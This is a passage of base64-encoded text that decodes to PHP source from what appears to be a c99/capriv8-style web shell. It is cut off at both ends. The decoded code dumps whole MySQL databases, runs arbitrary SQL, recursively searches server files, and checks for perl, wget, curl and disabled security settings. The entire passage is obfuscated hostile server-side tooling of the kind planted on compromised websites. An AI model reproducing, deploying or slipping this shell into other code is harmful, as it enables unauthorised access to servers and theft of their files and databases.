dmlld19wZXJtc19jb2xvcigkbykgew0KICAgICAgaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgICBlbHNlIHtyZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZHVtcCIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KSB7DQogICAgICBnbG9iYWwgJHNoX3ZlcjsNCiAgICAgICRzb2NrID0gJHNldFsic29jayJdOw0KICAgICAgJGRiID0gJHNldFsiZGIiXTsNCiAgICAgICRwcmludCA9ICRzZXRbInByaW50Il07DQogICAgICAkbmwyYnIgPSAkc2V0WyJubDJiciJdOw0KICAgICAgJGZpbGUgPSAkc2V0WyJmaWxlIl07DQogICAgICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICAgICAgJHRhYnMgPSAkc2V0WyJ0YWJzIl07DQogICAgICAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJdOw0KICAgICAgJHJldCA9IGFycmF5KCk7DQogICAgICAkcmV0WyJlcnIiXSA9IGFycmF5KCk7DQogICAgICBpZiAoIWlzX3Jlc291cmNlKCRzb2NrKSkge2VjaG8oIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO30NCiAgICAgIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogICAgICBpZiAoZW1wdHkoJHByaW50KSkgeyRwcmludCA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRubDJicikpIHskbmwyYnIgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogICAgICBpZiAoZW1wdHkoJGZpbGUpKSB7DQogICAgICAgICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsNCiAgICAgIH0NCiAgICAgIGlmICghaXNfYXJyYXkoJHRhYnMpKSB7JHRhYnMgPSBhcnJheSgpO30NCiAgICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogICAgICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKSB7DQogICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOw0KICAgICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQ0KICAgICAgfQ0KICAgICAgJG91dCA9ICINCiAgICAgICMgRHVtcGVkIGJ5IGZ4MA0KICAgICAgIw0KICAgICAgIyBIb3N0IHNldHRpbmdzOg0KICAgICAgIyBNeVNRTCB2ZXJzaW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iDQogICAgICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iDQogICAgICAjIERCOiBcIiIuJGRiLiJcIg0KICAgICAgIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSI7DQogICAgICAkYyA9IGNvdW50KCRvbmx5dGFicyk7DQogICAgICBmb3JlYWNoKCR0YWJzIGFzICR0YWIpIHsNCiAgICAgICAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKSB7DQogICAgICAgICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30NCiAgICAgICAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7DQogICAgICAgICAgaWYgKCEkcmVzKSB7JHJldFsiZXJyIl1bXSA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOw0KICAgICAgICAgICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgICAgICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7DQogICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpIHsNCiAgICAgICAgICAgICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAgICAgICAgICAgICAkdmFsdWVzID0gYXJyYXlfdmFsdWVzKCRyb3cpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgICAgICAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xuIjsNCiAgICAgICAgICAgICAgICAkb3V0IC49ICRzcWw7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiAgICAgIGlmICgkZmlsZSkgew0KICAgICAgICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgICAgICAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgICAgICAgICBmY2xvc2UgKCRmcCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgeyRhcnJheSA9IGFycmF5KCk7fQ0KICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KSB7DQogICAgICAgICR2YWx1ZSA9ICIiOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAgICAgICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIikiO30NCiAgICAgICAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KICAgICAgfQ0KICAgICAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgew0KICAgICAgaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KICAgICAgZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICAgICAgJGFycmF5ID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICByZXR1cm4gJGFycmF5Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfc21hcnRlcnJvcigkdHlwZSwkc29jaykgew0KICAgICAgaWYgKCRzb2NrKSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spO30NCiAgICAgIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICAgICAgJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KICAgICAgcmV0dXJuICRlcnJvcjsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKSB7DQogICAgICBnbG9iYWwgJHN1Ym1pdCwkc3FsX3gsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsNCiAgICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQ0KICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfeCA9ICRzcWxfZ290bzt9DQogICAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgew0KICAgICAgICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiY2Fwcml2OF9zcWxxdWVyeVwiIG1ldGhvZD1QT1NUPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG8iO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5Ijt9IGVjaG8gIjo8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1zcWxfcXVlcnkgY29scz0xMDAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfeCB2YWx1ZT1xdWVyeT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPiI7DQogICAgICAgIGlmICgkdGJsX3N0cnVjdCkgew0KICAgICAgICAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOw0KICAgICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRmaWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hvICIrIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmNhcHJpdjhfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQ0KICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikgew0KICAgICAgJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRkc2xhc2hlcygkZGIpLiJgOyI7DQogICAgICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpIHsNCiAgICAgICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCiAgICAgICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsNCiAgICAgICR0eXBlcyA9IGFycmF5KA0KICAgICAgICAiU0VMRUNUIj0+YXJyYXkoMywxKSwNCiAgICAgICAgIlNIT1ciPT5hcnJheSgyLDEpLA0KICAgICAgICAiREVMRVRFIj0+YXJyYXkoMSksDQogICAgICAgICJEUk9QIj0+YXJyYXkoMSkNCiAgICAgICk7DQogICAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAgICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogICAgICBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKSB7DQogICAgICAgICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgICAgICAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7DQogICAgICAgIGlmICgkdHlwZXNbJG9wXSA9PSAyKSB7DQogICAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpIHsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07DQogICAgICAgICAgICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsNCiAgICAgICAgICAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9DQogICAgICAgICAgICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhZnNlYXJjaCIpKSB7DQogICAgZnVuY3Rpb24gY2Fmc2VhcmNoKCRkKSB7DQogICAgICBnbG9iYWwgJGZvdW5kOw0KICAgICAgZ2xvYmFsICRmb3VuZF9kOw0KICAgICAgZ2xvYmFsICRmb3VuZF9mOw0KICAgICAgZ2xvYmFsICRzZWFyY2hfaV9mOw0KICAgICAgZ2xvYmFsICRzZWFyY2hfaV9kOw0KICAgICAgZ2xvYmFsICRhOw0KICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKSB7DQogICAgICAgICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgICAgICAgIGlmIChpc19kaXIoJGQuJGYpKSB7DQogICAgICAgICAgICAkc2VhcmNoX2lfZCsrOw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRhWyJ0ZXh0Il0pIGFuZCAkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9kKys7fQ0KICAgICAgICAgICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2NhZnNlYXJjaCgkZC4kZik7fQ0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9mKys7DQogICAgICAgICAgICBpZiAoJGJvb2wpIHsNCiAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYVsidGV4dCJdKSkgew0KICAgICAgICAgICAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30NCiAgICAgICAgICAgICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgICAgICAgICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9DQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgICAgICAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoJHggPT0gImdvZmlsZSIpIHsNCiAgICBpZiAoaXNfZGlyKCRmKSkgeyAkeCA9ICJscyI7ICRkID0gJGY7IH0NCiAgICBlbHNlIHsgJHggPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpOyB9DQogIH0NCiAgQG9iX3N0YXJ0KCk7DQogIEBvYl9pbXBsaWNpdF9mbHVzaCgwKTsNCiAgZnVuY3Rpb24gb25waHBzaHV0ZG93bigpIHsNCiAgICBnbG9iYWwgJGd6aXBlbmNvZGUsJGZ0Ow0KICAgIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpIHsNCiAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgICAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsNCiAgICAgIGVjaG8gJHY7DQogICAgICBAb2JfZW5kX2ZsdXNoKCk7DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIGNhcHJpdjhleGl0KCkgew0KICAgIG9ucGhwc2h1dGRvd24oKTsNCiAgICBleGl0Ow0KICB9DQogIGhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmdtZGF0ZSgiRCwgZCBNIFkgSDppOnMiKS4iIEdNVCIpOw0KICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsNCiAgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7DQogIGlmIChlbXB0eSgkdG1wZGlyKSkgew0KICAgICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KICAgIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9DQogIH0NCiAgJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOw0KICAkdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KICBpZiAoc3Vic3RyKCR0bXBkaXIsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdG1wZGlyIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KICBlbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30NCiAgZnVuY3Rpb24gc2hvd3N0YXQoJHN0YXQpIHsNCiAgICBpZiAoJHN0YXQ9PSJvbiIpIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPk9OPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9cmVkPjxiPk9GRjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RwZXJsKCkgew0KICAgIGlmIChleCgncGVybCAtaCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdGZldGNoKCkgew0KICAgIGlmKGV4KCdmZXRjaCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3R3Z2V0KCkgew0KICAgIGlmIChleCgnd2dldCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3Rwb3N0Z3Jlc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3Rtc3NxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0Y3VybCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RteXNxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiBzaG93ZGlzYWJsZWZ1bmN0aW9ucygpIHsNCiAgICBpZiAoJGRpc2FibGVmdW5jPUBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKXsgcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+PGI+Ii4kZGlzYWJsZWZ1bmMuIjwvYj48L2ZvbnQ+IjsgfQ0KICAgIGVsc2UgeyByZXR1cm4gIjxmb250IGNvbG9yPSMwMEZGMDA+PGI+Tk9ORTwvYj48L2I+PC9mb250PiI7IH0NCiAgfQ0KICBpZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSB7DQogICAgJHNhZmVtb2RlID0gVFJVRTsNCiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPSMzMzY2RkY+PGI+T04gKFNlY3VyZSk8L2I+PC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJHNhZmVtb2RlID0gRkFMU0U7DQogICAgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+PGI+T0ZGIChOb3QgU2VjdXJlKTwvYj48L2ZvbnQ+IjsNCiAgfQ0KICAkdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCiAgaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHsNCiAgICAkb3BlbmJhc2VkaXIgPSBUUlVFOw0KICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9cmVkPiIuJHYuIjwvZm9udD4iOw0KICB9DQogIGVsc2Ugew0KICAgICRvcGVuYmFzZWRpciA9IEZBTFNFOw0KICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iOw0KICB9DQogICAgICRxdW90ZXMgPSBnZXRfbWFnaWNfcXVvdGVzX2dwYygpOw0KaWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIikNCiAgIHsNCiAgICAgICAkcXVvdCA9ICI8Zm9udCBjb2xvcj0ncmVkJz5PTjwvZm9udD4iOw0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAgICAgICRxdW90ID0gIjxmb250IGNvbG9yPSdncmVlbic+T0ZGPC9mb250PiI7DQogICB9DQogICRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7DQogIGlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAkc29ydFsxXSA9IHN0cnRvbG93